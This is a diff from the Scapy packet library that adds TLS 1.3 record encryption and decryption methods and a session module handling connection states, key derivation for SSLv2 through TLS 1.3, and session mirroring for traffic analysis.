+        rcs.seq_num += 1
+        try:
+            return rcs.cipher.auth_decrypt(b"", s, read_seq_num)
+        except CipherError as e:
+            return e.args
+        except AEADTagError as e:
+            pkt_info = self.firstlayer().summary()
+            log_runtime.info("TLS: record integrity check failed [%s]", pkt_info)
+            return e.args
+
+    def pre_dissect(self, s):
+        """
+        Decrypt, verify and decompress the message.
+        """
+        if len(s) < 5:
+            raise Exception("Invalid record: header is too short.")
+
+        if isinstance(self.tls_session.rcs.cipher, Cipher_NULL):
+            self.deciphered_len = None
+            return s
+        else:
+            msglen = struct.unpack('!H', s[3:5])[0]
+            hdr, efrag, r = s[:5], s[5:5+msglen], s[msglen+5:]
+            frag, auth_tag = self._tls_auth_decrypt(efrag)
+            self.deciphered_len = len(frag)
+            return hdr + frag + auth_tag + r
+
+    def post_dissect(self, s):
+        """
+        Commit the pending read state if it has been triggered. We update
+        nothing if the prcs was not set, as this probably means that we're
+        working out-of-context (and we need to keep the default rcs).
+        """
+        if self.tls_session.triggered_prcs_commit:
+            if self.tls_session.prcs is not None:
+                self.tls_session.rcs = self.tls_session.prcs
+                self.tls_session.prcs = None
+            self.tls_session.triggered_prcs_commit = False
+        return s
+
+    def do_dissect_payload(self, s):
+        """
+        Try to dissect the following data as a TLS message.
+        Note that overloading .guess_payload_class() would not be enough,
+        as the TLS session to be used would get lost.
+        """
+        if s:
+            try:
+                p = TLS(s, _internal=1, _underlayer=self,
+                        tls_session = self.tls_session)
+            except KeyboardInterrupt:
+                raise
+            except:
+                p = conf.raw_layer(s, _internal=1, _underlayer=self)
+            self.add_payload(p)
+
+
+    ### Building methods
+
+    def _tls_auth_encrypt(self, s):
+        """
+        Return the TLSCiphertext.encrypted_record for AEAD ciphers.
+        """
+        wcs = self.tls_session.wcs
+        write_seq_num = struct.pack("!Q", wcs.seq_num)
+        wcs.seq_num += 1
+        return wcs.cipher.auth_encrypt(s, b"", write_seq_num)
+
+    def post_build(self, pkt, pay):
+        """
+        Apply the previous methods according to the writing cipher type.
+        """
+        # Compute the length of TLSPlaintext fragment
+        hdr, frag = pkt[:5], pkt[5:]
+        if not isinstance(self.tls_session.rcs.cipher, Cipher_NULL):
+            frag = self._tls_auth_encrypt(frag)
+
+        if self.len is not None:
+            # The user gave us a 'len', let's respect this ultimately
+            hdr = hdr[:3] + struct.pack("!H", self.len)
+        else:
+            # Update header with the length of TLSCiphertext.inner
+            hdr = hdr[:3] + struct.pack("!H", len(frag))
+
+        # Now we commit the pending write state if it has been triggered. We
+        # update nothing if the pwcs was not set. This probably means that
+        # we're working out-of-context (and we need to keep the default wcs).
+        if self.tls_session.triggered_pwcs_commit:
+            if self.tls_session.pwcs is not None:
+                self.tls_session.wcs = self.tls_session.pwcs
+                self.tls_session.pwcs = None
+            self.tls_session.triggered_pwcs_commit = False
+
+        return hdr + frag + pay
+
diff --git a/scapy/layers/tls/session.py b/scapy/layers/tls/session.py
new file mode 100644
index 0000000..aaf8387
--- /dev/null
+++ b/scapy/layers/tls/session.py
@@ -0,0 +1,991 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS session handler.
+"""
+
+import random
+import socket
+import struct
+
+from scapy.config import conf
+from scapy.compat import *
+import scapy.modules.six as six
+from scapy.error import log_runtime, warning
+from scapy.packet import Packet
+from scapy.utils import repr_hex, strxor
+from scapy.layers.tls.crypto.compression import Comp_NULL
+from scapy.layers.tls.crypto.hkdf import TLS13_HKDF
+from scapy.layers.tls.crypto.prf import PRF
+
+# Note the following import may happen inside connState.__init__()
+# in order to avoid to avoid cyclical dependancies.
+# from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL
+
+
+###############################################################################
+### Connection states                                                       ###
+###############################################################################
+
+class connState(object):
+    """
+    From RFC 5246, section 6.1:
+    A TLS connection state is the operating environment of the TLS Record
+    Protocol.  It specifies a compression algorithm, an encryption
+    algorithm, and a MAC algorithm.  In addition, the parameters for
+    these algorithms are known: the MAC key and the bulk encryption keys
+    for the connection in both the read and the write directions.
+    Logically, there are always four connection states outstanding: the
+    current read and write states, and the pending read and write states.
+    All records are processed under the current read and write states.
+    The security parameters for the pending states can be set by the TLS
+    Handshake Protocol, and the ChangeCipherSpec can selectively make
+    either of the pending states current, in which case the appropriate
+    current state is disposed of and replaced with the pending state; the
+    pending state is then reinitialized to an empty state.  It is illegal
+    to make a state that has not been initialized with security
+    parameters a current state.  The initial current state always
+    specifies that no encryption, compression, or MAC will be used.
+
+    (For practical reasons, Scapy scraps these two last lines, through the
+    implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.)
+
+    These attributes and behaviours are mostly mapped in this class.
+    Also, note that Scapy may make a current state out of a pending state
+    which has been initialized with dummy security parameters. We need
+    this in order to know when the content of a TLS message is encrypted,
+    whether we possess the right keys to decipher/verify it or not.
+    For instance, when Scapy parses a CKE without knowledge of any secret,
+    and then a CCS, it needs to know that the following Finished
+    is encrypted and signed according to a new cipher suite, even though
+    it cannot decipher the message nor verify its integrity.
+    """
+    def __init__(self,
+                 connection_end="server",
+                 read_or_write="read",
+                 seq_num=0,
+                 compression_alg=Comp_NULL,
+                 ciphersuite=None,
+                 tls_version=0x0303):
+
+        self.tls_version = tls_version
+
+        # It is the user's responsibility to keep the record seq_num
+        # under 2**64-1. If this value gets maxed out, the TLS class in
+        # record.py will crash when trying to encode it with struct.pack().
+        self.seq_num = seq_num
+
+        self.connection_end = connection_end
+        self.row = read_or_write
+
+        if ciphersuite is None:
+            from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL
+            ciphersuite = TLS_NULL_WITH_NULL_NULL
+        self.ciphersuite = ciphersuite(tls_version=tls_version)
+
+        if not self.ciphersuite.usable:
+            warning("TLS ciphersuite not useable. Is the cryptography Python module installed ?")
+            return
+
+        self.compression = compression_alg()
+        self.key_exchange = ciphersuite.kx_alg()
+        self.cipher = ciphersuite.cipher_alg()
+        self.hash = ciphersuite.hash_alg()
+
+        if tls_version > 0x0200:
+            if ciphersuite.cipher_alg.type == "aead":
+                self.hmac = None
+                self.mac_len = self.cipher.tag_len
+            else:
+                self.hmac = ciphersuite.hmac_alg()
+                self.mac_len = self.hmac.hmac_len
+        else:
+            self.hmac = ciphersuite.hmac_alg()          # should be Hmac_NULL
+            self.mac_len = self.hash.hash_len
+
+        if tls_version >= 0x0304:
+            self.hkdf = TLS13_HKDF(self.hash.name.lower())
+        else:
+            self.prf = PRF(ciphersuite.hash_alg.name, tls_version)
+
+
+    def debug_repr(self, name, secret):
+        if conf.debug_tls and secret:
+            log_runtime.debug("TLS: %s %s %s: %s",
+                              self.connection_end,
+                              self.row,
+                              name,
+                              repr_hex(secret))
+
+    def derive_keys(self,
+                    client_random=b"",
+                    server_random=b"",
+                    master_secret=b""):
+        #XXX Can this be called over a non-usable suite? What happens then?
+
+        cs = self.ciphersuite
+
+        # Derive the keys according to the cipher type and protocol version
+        key_block = self.prf.derive_key_block(master_secret,
+                                              server_random,
+                                              client_random,
+                                              cs.key_block_len)
+
+        # When slicing the key_block, keep the right half of the material
+        skip_first = False
+        if ((self.connection_end == "client" and self.row == "read") or
+            (self.connection_end == "server" and self.row == "write")):
+            skip_first = True
+
+        pos = 0
+        cipher_alg = cs.cipher_alg
+
+        ### MAC secret (for block and stream ciphers)
+        if (cipher_alg.type == "stream") or (cipher_alg.type == "block"):
+            start = pos
+            if skip_first:
+                start += cs.hmac_alg.key_len
+            end = start + cs.hmac_alg.key_len
+            mac_secret = key_block[start:end]
+            self.debug_repr("mac_secret", mac_secret)
+            pos += 2*cs.hmac_alg.key_len
+        else:
+            mac_secret = None
+
+        ### Cipher secret
+        start = pos
+        if skip_first:
+            start += cipher_alg.key_len
+        end = start + cipher_alg.key_len
+        cipher_secret = key_block[start:end]
+        if cs.kx_alg.export:
+            reqLen = cipher_alg.expanded_key_len
+            cipher_secret = self.prf.postprocess_key_for_export(cipher_secret,
+                                                      client_random,
+                                                      server_random,
+                                                      self.connection_end,
+                                                      self.row,
+                                                      reqLen)
+        self.debug_repr("cipher_secret", cipher_secret)
+        pos += 2*cipher_alg.key_len
+
+        ### Implicit IV (for block and AEAD ciphers)
+        start = pos
+        if cipher_alg.type == "block":
+            if skip_first:
+                start += cipher_alg.block_size
+            end = start + cipher_alg.block_size
+        elif cipher_alg.type == "aead":
+            if skip_first:
+                start += cipher_alg.fixed_iv_len
+            end = start + cipher_alg.fixed_iv_len
+
+        ### Now we have the secrets, we can instantiate the algorithms
+        if cs.hmac_alg is None:         # AEAD
+            self.hmac = None
+            self.mac_len = cipher_alg.tag_len
+        else:
+            self.hmac = cs.hmac_alg(mac_secret)
+            self.mac_len = self.hmac.hmac_len
+
+        if cipher_alg.type == "stream":
+            cipher = cipher_alg(cipher_secret)
+        elif cipher_alg.type == "block":
+            # We set an IV every time, even though it does not matter for
+            # TLS 1.1+ as it requires an explicit IV. Indeed the cipher.iv
+            # would get updated in TLS.post_build() or TLS.pre_dissect().
+            iv = key_block[start:end]
+            if cs.kx_alg.export:
+                reqLen = cipher_alg.block_size
+                iv = self.prf.generate_iv_for_export(client_random,
+                                                     server_random,
+                                                     self.connection_end,
+                                                     self.row,
+                                                     reqLen)
+            cipher = cipher_alg(cipher_secret, iv)
+            self.debug_repr("block iv", iv)
+        elif cipher_alg.type == "aead":
+            fixed_iv = key_block[start:end]
+            nonce_explicit_init = 0
+            # If you ever wanted to set a random nonce_explicit, use this:
+            #exp_bit_len = cipher_alg.nonce_explicit_len * 8
+            #nonce_explicit_init = random.randint(0, 2**exp_bit_len - 1)
+            cipher = cipher_alg(cipher_secret, fixed_iv, nonce_explicit_init)
+            self.debug_repr("aead fixed iv", fixed_iv)
+        self.cipher = cipher
+
+    def sslv2_derive_keys(self, key_material):
+        """
+        There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.
+
+        Note that skip_first is opposite from the one with SSLv3 derivation.
+
+        Also, if needed, the IV should be set elsewhere.
+        """
+        skip_first = True
+        if ((self.connection_end == "client" and self.row == "read") or
+            (self.connection_end == "server" and self.row == "write")):
+            skip_first = False
+
+        cipher_alg = self.ciphersuite.cipher_alg
+
+        start = 0
+        if skip_first:
+            start += cipher_alg.key_len
+        end = start + cipher_alg.key_len
+        cipher_secret = key_material[start:end]
+        self.cipher = cipher_alg(cipher_secret)
+        self.debug_repr("cipher_secret", cipher_secret)
+
+    def tls13_derive_keys(self, key_material):
+        cipher_alg = self.ciphersuite.cipher_alg
+        key_len = cipher_alg.key_len
+        iv_len = cipher_alg.fixed_iv_len
+        write_key = self.hkdf.expand_label(key_material, b"key", b"", key_len)
+        write_iv = self.hkdf.expand_label(key_material, b"iv", b"", iv_len)
+        self.cipher = cipher_alg(write_key, write_iv)
+
+    def snapshot(self):
+        """
+        This is used mostly as a way to keep the cipher state and the seq_num.
+        """
+        snap = connState(connection_end=self.connection_end,
+                         read_or_write=self.row,
+                         seq_num=self.seq_num,
+                         compression_alg=type(self.compression),
+                         ciphersuite=type(self.ciphersuite),
+                         tls_version=self.tls_version)
+        snap.cipher = self.cipher.snapshot()
+        if self.hmac:
+            snap.hmac.key = self.hmac.key
+        return snap
+
+    def __repr__(self):
+        def indent(s):
+            if s and s[-1] == '\n':
+                s = s[:-1]
+            s = '\n'.join('\t' + x for x in s.split('\n')) + '\n'
+            return s
+
+        res =  "Connection end : %s\n" % self.connection_end.upper()
+        res += "Cipher suite   : %s (0x%04x)\n" % (self.ciphersuite.name,
+                                                   self.ciphersuite.val)
+        res += "Compression    : %s (0x%02x)\n" % (self.compression.name,
+                                                   self.compression.val)
+        tabsize = 4
+        return res.expandtabs(tabsize)
+
+
+class readConnState(connState):
+    def __init__(self, **kargs):
+        connState.__init__(self, read_or_write="read", **kargs)
+
+class writeConnState(connState):
+    def __init__(self, **kargs):
+        connState.__init__(self, read_or_write="write", **kargs)
+
+
+###############################################################################
+### TLS session                                                             ###
+###############################################################################
+
+class tlsSession(object):
+    """
+    This is our TLS context, which gathers information from both sides of the
+    TLS connection. These sides are represented by a readConnState instance and
+    a writeConnState instance. Along with overarching network attributes, a
+    tlsSession object also holds negotiated, shared information, such as the
+    key exchange parameters and the master secret (when available).
+
+    The default connection_end is "server". This corresponds to the expected
+    behaviour for static exchange analysis (with a ClientHello parsed first).
+    """
+    def __init__(self,
+                 ipsrc=None, ipdst=None,
+                 sport=None, dport=None, sid=None,
+                 connection_end="server",
+                 wcs=None, rcs=None):
+
+        # Use this switch to prevent additions to the 'handshake_messages'.
+        self.frozen = False
+
+        ### Network settings
+        self.ipsrc = ipsrc
+        self.ipdst = ipdst
+        self.sport = sport
+        self.dport = dport
+        self.sid = sid
+
+        # Our TCP socket. None until we send (or receive) a packet.
+        self.sock = None
+
+        ### Connection states
+        self.connection_end = connection_end
+
+        if wcs is None:
+            # Instantiate wcs with dummy values.
+            self.wcs = writeConnState(connection_end=connection_end)
+            self.wcs.derive_keys()
+        else:
+            self.wcs = wcs
+
+        if rcs is None:
+            # Instantiate rcs with dummy values.
+            self.rcs = readConnState(connection_end=connection_end)
+            self.rcs.derive_keys()
+        else:
+            self.rcs = rcs
+
+        # The pending write/read states are updated by the building/parsing
+        # of various TLS packets. They get committed to self.wcs/self.rcs
+        # once Scapy builds/parses a ChangeCipherSpec message, or for certain
+        # other messages in case of TLS 1.3.
+        self.pwcs = None
+        self.triggered_pwcs_commit = False
+        self.prcs = None
+        self.triggered_prcs_commit = False
+
+
+        ### Certificates and private keys
+
+        # The server certificate chain, as a list of Cert instances.
+        # Either we act as server and it has to be provided, or it is expected
+        # to be sent by the server through a Certificate message.
+        # The server certificate should be self.server_certs[0].
+        self.server_certs = []
+
+        # The server private key, as a PrivKey instance, when acting as server.
+        # XXX It would be nice to be able to provide both an RSA and an ECDSA
+        # key in order for the same Scapy server to support both families of
+        # cipher suites. See INIT_TLS_SESSION() in automaton_srv.py.
+        # (For now server_key holds either one of both types for DHE
+        # authentication, while server_rsa_key is used only for RSAkx.)
+        self.server_key = None
+        self.server_rsa_key = None
+        #self.server_ecdsa_key = None
+
+        # Back in the dreadful EXPORT days, US servers were forbidden to use
+        # RSA keys longer than 512 bits for RSAkx. When their usual RSA key
+        # was longer than this, they had to create a new key and send it via
+        # a ServerRSAParams message. When receiving such a message,
+        # Scapy stores this key in server_tmp_rsa_key as a PubKey instance.
+        self.server_tmp_rsa_key = None
+
+        # When client authentication is performed, we need at least a
+        # client certificate chain. If we act as client, we also have
+        # to provide the key associated with the first certificate.
+        self.client_certs = []
+        self.client_key = None
+
+
+        ### Ephemeral key exchange parameters
+
+        # These are the group/curve parameters, needed to hold the information
+        # e.g. from receiving an SKE to sending a CKE. Usually, only one of
+        # these attributes will be different from None.
+        self.client_kx_ffdh_params = None
+        self.client_kx_ecdh_params = None
+
+        # These are PrivateKeys and PublicKeys from the appropriate FFDH/ECDH
+        # cryptography module, i.e. these are not raw bytes. Usually, only one
+        # in two will be different from None, e.g. when being a TLS client you
+        # will need the client_kx_privkey (the serialized public key is not
+        # actually registered) and you will receive a server_kx_pubkey.
+        self.client_kx_privkey = None
+        self.client_kx_pubkey = None
+        self.server_kx_privkey = None
+        self.server_kx_pubkey = None
+
+        # When using TLS 1.3, the tls13_client_pubshares will contain every
+        # potential key share (equate the 'client_kx_pubkey' before) the client
+        # offered, indexed by the id of the FFDH/ECDH group. These dicts
+        # effectively replace the four previous attributes.
+        self.tls13_client_privshares = {}
+        self.tls13_client_pubshares = {}
+        self.tls13_server_privshare = {}
+        self.tls13_server_pubshare = {}
+
+
+        ### Negotiated session parameters
+
+        # The advertised TLS version found in the ClientHello (and
+        # EncryptedPreMasterSecret if used). If acting as server, it is set to
+        # the value advertised by the client in its ClientHello.
+        # The default value corresponds to TLS 1.2 (and TLS 1.3, incidentally).
+        self.advertised_tls_version = 0x0303
+
+        # The agreed-upon TLS version found in the ServerHello.
+        self.tls_version = None
+
+        # These attributes should eventually be known to both sides (SSLv3-TLS 1.2).
+        self.client_random = None
+        self.server_random = None
+        self.pre_master_secret = None
+        self.master_secret = None
+
+        # A session ticket received by the client.
+        self.client_session_ticket = None
+
+        # These attributes should only be used with SSLv2 connections.
+        # We need to keep the KEY-MATERIAL here because it may be reused.
+        self.sslv2_common_cs = []
+        self.sslv2_connection_id = None
+        self.sslv2_challenge = None
+        self.sslv2_challenge_clientcert = None
+        self.sslv2_key_material = None
+
+        # These attributes should only be used with TLS 1.3 connections.
+        self.tls13_psk_secret = None
+        self.tls13_early_secret = None
+        self.tls13_dhe_secret = None
+        self.tls13_handshake_secret = None
+        self.tls13_master_secret = None
+        self.tls13_derived_secrets = {}
+
+        # Handshake messages needed for Finished computation/validation.
+        # No record layer headers, no HelloRequests, no ChangeCipherSpecs.
+        self.handshake_messages = []
+        self.handshake_messages_parsed = []
+
+        # All exchanged TLS packets.
+        #XXX no support for now
+        #self.exchanged_pkts = []
+
+
+    def __setattr__(self, name, val):
+        if name == "connection_end":
+            if hasattr(self, "rcs") and self.rcs:
+                self.rcs.connection_end = val
+            if hasattr(self, "wcs") and self.wcs:
+                self.wcs.connection_end = val
+            if hasattr(self, "prcs") and self.prcs:
+                self.prcs.connection_end = val
+            if hasattr(self, "pwcs") and self.pwcs:
+                self.pwcs.connection_end = val
+        super(tlsSession, self).__setattr__(name, val)
+
+
+    ### Mirroring
+
+    def mirror(self):
+        """
+        This function takes a tlsSession object and swaps the IP addresses,
+        ports, connection ends and connection states. The triggered_commit are
+        also swapped (though it is probably overkill, it is cleaner this way).
+
+        It is useful for static analysis of a series of messages from both the
+        client and the server. In such a situation, it should be used every
+        time the message being read comes from a different side than the one
+        read right before, as the reading state becomes the writing state, and
+        vice versa. For instance you could do:
+
+        client_hello = open('client_hello.raw').read()
+        <read other messages>
+
+        m1 = TLS(client_hello)
+        m2 = TLS(server_hello, tls_session=m1.tls_session.mirror())
+        m3 = TLS(server_cert, tls_session=m2.tls_session)
+        m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror())
+        """
+
+        self.ipdst, self.ipsrc = self.ipsrc, self.ipdst
+        self.dport, self.sport = self.sport, self.dport
+
+        self.rcs, self.wcs = self.wcs, self.rcs
+        if self.rcs:
+            self.rcs.row = "read"
+        if self.wcs:
+            self.wcs.row = "write"
+
+        self.prcs, self.pwcs = self.pwcs, self.prcs
+        if self.prcs:
+            self.prcs.row = "read"
+        if self.pwcs:
+            self.pwcs.row = "write"
+
+        self.triggered_prcs_commit, self.triggered_pwcs_commit = \
+                self.triggered_pwcs_commit, self.triggered_prcs_commit
+
+        if self.connection_end == "client":
+            self.connection_end = "server"
+        elif self.connection_end == "server":
+            self.connection_end = "client"
+
+        return self
+
+
+    ### Secrets management for SSLv3 to TLS 1.2
+
+    def compute_master_secret(self):
+        if self.pre_master_secret is None:
+            warning("Missing pre_master_secret while computing master_secret!")
+        if self.client_random is None:
+            warning("Missing client_random while computing master_secret!")
+        if self.server_random is None:
+            warning("Missing server_random while computing master_secret!")
+
+        ms = self.pwcs.prf.compute_master_secret(self.pre_master_secret,
+                                                 self.client_random,
+                                                 self.server_random)
+        self.master_secret = ms
+        if conf.debug_tls:
+            log_runtime.debug("TLS: master secret: %s", repr_hex(ms))
+
+    def compute_ms_and_derive_keys(self):
+        self.compute_master_secret()
+        self.prcs.derive_keys(client_random=self.client_random,
+                              server_random=self.server_random,
+                              master_secret=self.master_secret)
+        self.pwcs.derive_keys(client_random=self.client_random,
+                              server_random=self.server_random,
+                              master_secret=self.master_secret)
+
+
+    ### Secrets management for SSLv2
+
+    def compute_sslv2_key_material(self):
+        if self.master_secret is None:
+            warning("Missing master_secret while computing key_material!")
+        if self.sslv2_challenge is None:
+            warning("Missing challenge while computing key_material!")
+        if self.sslv2_connection_id is None:
+            warning("Missing connection_id while computing key_material!")
+
+        km = self.pwcs.prf.derive_key_block(self.master_secret,
+                                            self.sslv2_challenge,
+                                            self.sslv2_connection_id,
+                                            2*self.pwcs.cipher.key_len)
+        self.sslv2_key_material = km
+        if conf.debug_tls:
+            log_runtime.debug("TLS: master secret: %s", repr_hex(self.master_secret))
+            log_runtime.debug("TLS: key material: %s", repr_hex(km))
+
+    def compute_sslv2_km_and_derive_keys(self):
+        self.compute_sslv2_key_material()
+        self.prcs.sslv2_derive_keys(key_material=self.sslv2_key_material)
+        self.pwcs.sslv2_derive_keys(key_material=self.sslv2_key_material)
+
+
+    ### Secrets management for TLS 1.3
+
+    def compute_tls13_early_secrets(self):
+        """
+        Ciphers key and IV are updated accordingly for 0-RTT data.
+        self.handshake_messages should be ClientHello only.
+        """
+        # we use the prcs rather than the pwcs in a totally arbitrary way
+        if self.prcs is None:
+            # too soon
+            return
+
+        hkdf = self.prcs.hkdf
+
+        self.tls13_early_secret = hkdf.extract(None,
+                                               self.tls13_psk_secret)
+
+        bk = hkdf.derive_secret(self.tls13_early_secret,
+                                b"external psk binder key",
+                               #"resumption psk binder key",
+                                b"")
+        self.tls13_derived_secrets["binder_key"] = bk
+
+        if len(self.handshake_messages) > 1:
+            # these secrets are not defined in case of HRR
+            return
+
+        cets = hkdf.derive_secret(self.tls13_early_secret,
+                                  b"client early traffic secret",
+                                  b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["client_early_traffic_secret"] = cets
+
+        ees = hkdf.derive_secret(self.tls13_early_secret,
+                                 b"early exporter master secret",
+                                 b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["early_exporter_secret"] = ees
+
+        if self.connection_end == "server":
+            self.prcs.tls13_derive_keys(cets)
+        elif self.connection_end == "client":
+            self.pwcs.tls13_derive_keys(cets)
+
+    def compute_tls13_handshake_secrets(self):
+        """
+        Ciphers key and IV are updated accordingly for Handshake data.
+        self.handshake_messages should be ClientHello...ServerHello.
+        """
+        if self.tls13_early_secret is None:
+            warning("No early secret. This is abnormal.")
+
+        hkdf = self.prcs.hkdf
+
+        self.tls13_handshake_secret = hkdf.extract(self.tls13_early_secret,
+                                                   self.tls13_dhe_secret)
+
+        chts = hkdf.derive_secret(self.tls13_handshake_secret,
+                                  b"client handshake traffic secret",
+                                  b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts
+
+        shts = hkdf.derive_secret(self.tls13_handshake_secret,
+                                  b"server handshake traffic secret",
+                                  b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts
+
+        if self.connection_end == "server":
+            self.prcs.tls13_derive_keys(chts)
+            self.pwcs.tls13_derive_keys(shts)
+        elif self.connection_end == "client":
+            self.pwcs.tls13_derive_keys(chts)
+            self.prcs.tls13_derive_keys(shts)
+
+    def compute_tls13_traffic_secrets(self):
+        """
+        Ciphers key and IV are updated accordingly for Application data.
+        self.handshake_messages should be ClientHello...ServerFinished.
+        """
+        hkdf = self.prcs.hkdf
+
+        self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret,
+                                                None)
+
+        cts0 = hkdf.derive_secret(self.tls13_master_secret,
+                                  b"client application traffic secret",
+                                  b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["client_traffic_secrets"] = [cts0]
+
+        sts0 = hkdf.derive_secret(self.tls13_master_secret,
+                                  b"server application traffic secret",
+                                  b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["server_traffic_secrets"] = [sts0]
+
+        es = hkdf.derive_secret(self.tls13_master_secret,
+                                b"exporter master secret",
+                                b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["exporter_secret"] = es
+
+        if self.connection_end == "server":
+            #self.prcs.tls13_derive_keys(cts0)
+            self.pwcs.tls13_derive_keys(sts0)
+        elif self.connection_end == "client":
+            #self.pwcs.tls13_derive_keys(cts0)
+            self.prcs.tls13_derive_keys(sts0)
+
+    def compute_tls13_traffic_secrets_end(self):
+        cts0 = self.tls13_derived_secrets["client_traffic_secrets"][0]
+        if self.connection_end == "server":
+            self.prcs.tls13_derive_keys(cts0)
+        elif self.connection_end == "client":
+            self.pwcs.tls13_derive_keys(cts0)
+
+    def compute_tls13_verify_data(self, connection_end, read_or_write):
+        shts = "server_handshake_traffic_secret"
+        chts = "client_handshake_traffic_secret"
+        if read_or_write == "read":
+            hkdf = self.rcs.hkdf
+            if connection_end == "client":
+                basekey = self.tls13_derived_secrets[shts]
+            elif connection_end == "server":
+                basekey = self.tls13_derived_secrets[chts]
+        elif read_or_write == "write":
+            hkdf = self.wcs.hkdf
+            if connection_end == "client":
+                basekey = self.tls13_derived_secrets[chts]
+            elif connection_end == "server":
+                basekey = self.tls13_derived_secrets[shts]
+
+        if not hkdf or not basekey:
+            warning("Missing arguments for verify_data computation!")
+            return None
+        #XXX this join() works in standard cases, but does it in all of them?
+        handshake_context = b"".join(self.handshake_messages)
+        return hkdf.compute_verify_data(basekey, handshake_context)
+
+    def compute_tls13_resumption_secret(self):
+        """
+        self.handshake_messages should be ClientHello...ClientFinished.
+        """
+        if self.connection_end == "server":
+            hkdf = self.prcs.hkdf
+        elif self.connection_end == "client":
+            hkdf = self.pwcs.hkdf
+        rs = hkdf.derive_secret(self.tls13_master_secret,
+                                b"resumption master secret",
+                                b"".join(self.handshake_messages))
+        self.tls13_derived_secrets["resumption_secret"] = rs
+
+    def compute_tls13_next_traffic_secrets(self):
+        """
+        Ciphers key and IV are updated accordingly.
+        """
+        hkdf = self.prcs.hkdf
+        hl = hkdf.hash.digest_size
+
+        cts = self.tls13_derived_secrets["client_traffic_secrets"]
+        ctsN = cts[-1]
+        ctsN_1 = hkdf.expand_label(ctsN, "application traffic secret", "", hl)
+        cts.append(ctsN_1)
+
+        sts = self.tls13_derived_secrets["server_traffic_secrets"]
+        stsN = sts[-1]
+        stsN_1 = hkdf.expand_label(ctsN, "application traffic secret", "", hl)
+        cts.append(stsN_1)
+
+        if self.connection_end == "server":
+            self.prcs.tls13_derive_keys(ctsN_1)
+            self.pwcs.tls13_derive_keys(stsN_1)
+        elif self.connection_end == "client":
+            self.pwcs.tls13_derive_keys(ctsN_1)
+            self.prcs.tls13_derive_keys(stsN_1)
+
+    ### Tests for record building/parsing
+
+    def consider_read_padding(self):
+        # Return True if padding is needed. Used by TLSPadField.
+        return (self.rcs.cipher.type == "block" and
+                not (False in six.itervalues(self.rcs.cipher.ready)))
+
+    def consider_write_padding(self):
+        # Return True if padding is needed. Used by TLSPadField.
+        return self.wcs.cipher.type == "block"
+
+    def use_explicit_iv(self, version, cipher_type):
+        # Return True if an explicit IV is needed. Required for TLS 1.1+
+        # when either a block or an AEAD cipher is used.
+        if cipher_type == "stream":
+            return False
+        return version >= 0x0302
+
+
+    ### Python object management
+
+    def hash(self):
+        s1 = struct.pack("!H", self.sport)
+        s2 = struct.pack("!H", self.dport)
+        family = socket.AF_INET
+        if ':' in self.ipsrc:
+            family = socket.AF_INET6
+        s1 += socket.inet_pton(family, self.ipsrc)
+        s2 += socket.inet_pton(family, self.ipdst)
+        return strxor(s1, s2)
+
+    def eq(self, other):
+        ok = False
+        if (self.sport == other.sport and self.dport == other.dport and
+            self.ipsrc == other.ipsrc and self.ipdst == other.ipdst):
+            ok = True
+
+        if (not ok and
+            self.dport == other.sport and self.sport == other.dport and
+            self.ipdst == other.ipsrc and self.ipsrc == other.ipdst):
+            ok = True
+
+        if ok:
+            if self.sid and other.sid:
+                return self.sid == other.sid
+            return True
+
+        return False
+
+    def __repr__(self):
+        sid = repr(self.sid)
+        if len(sid) > 12:
+            sid = sid[:11] + "..."
+        return "%s:%s > %s:%s" % (self.ipsrc, str(self.sport),
+                                  self.ipdst, str(self.dport))
+
+###############################################################################
+### Session singleton                                                       ###
+###############################################################################
+
+class _GenericTLSSessionInheritance(Packet):
+    """
+    Many classes inside the TLS module need to get access to session-related
+    information. For instance, an encrypted TLS record cannot be parsed without
+    some knowledge of the cipher suite being used and the secrets which have
+    been negotiated. Passing information is also essential to the handshake.
+    To this end, various TLS objects inherit from the present class.
+    """
+    __slots__ = ["tls_session", "rcs_snap_init", "wcs_snap_init"]
+    name = "Dummy Generic TLS Packet"
+    fields_desc = []
+
+    def __init__(self, _pkt="", post_transform=None, _internal=0,
+                 _underlayer=None, tls_session=None, **fields):
+        try:
+            setme = self.tls_session is None
+        except:
+            setme = True
+
+        if setme:
+            if tls_session is None:
+                self.tls_session = tlsSession()
+            else:
+                self.tls_session = tls_session
+
+        self.rcs_snap_init = self.tls_session.rcs.snapshot()
+        self.wcs_snap_init = self.tls_session.wcs.snapshot()
+
+        Packet.__init__(self, _pkt=_pkt, post_transform=post_transform,
+                        _internal=_internal, _underlayer=_underlayer,
+                        **fields)
+
+    def __getattr__(self, attr):
+        """
+        The tls_session should be found only through the normal mechanism.
+        """
+        if attr == "tls_session":
+            return None
+        return super(_GenericTLSSessionInheritance, self).__getattr__(attr)
+
+    def tls_session_update(self, msg_str):
+        """
+        post_{build, dissection}_tls_session_update() are used to update the
+        tlsSession context. The default definitions below, along with
+        tls_session_update(), may prevent code duplication in some cases.
+        """
+        pass
+
+    def post_build_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+
+    def copy(self):
+        pkt = Packet.copy(self)
+        pkt.tls_session = self.tls_session
+        return pkt
+
+    def clone_with(self, payload=None, **kargs):
+        pkt = Packet.clone_with(self, payload=payload, **kargs)
+        pkt.tls_session = self.tls_session
+        return pkt
+
+    def raw_stateful(self):
+        return super(_GenericTLSSessionInheritance, self).__bytes__()
+
+    def str_stateful(self):
+        return self.raw_stateful()
+
+    def __bytes__(self):
+        """
+        The __bytes__ call has to leave the connection states unchanged.
+        We also have to delete raw_packet_cache in order to access post_build.
+
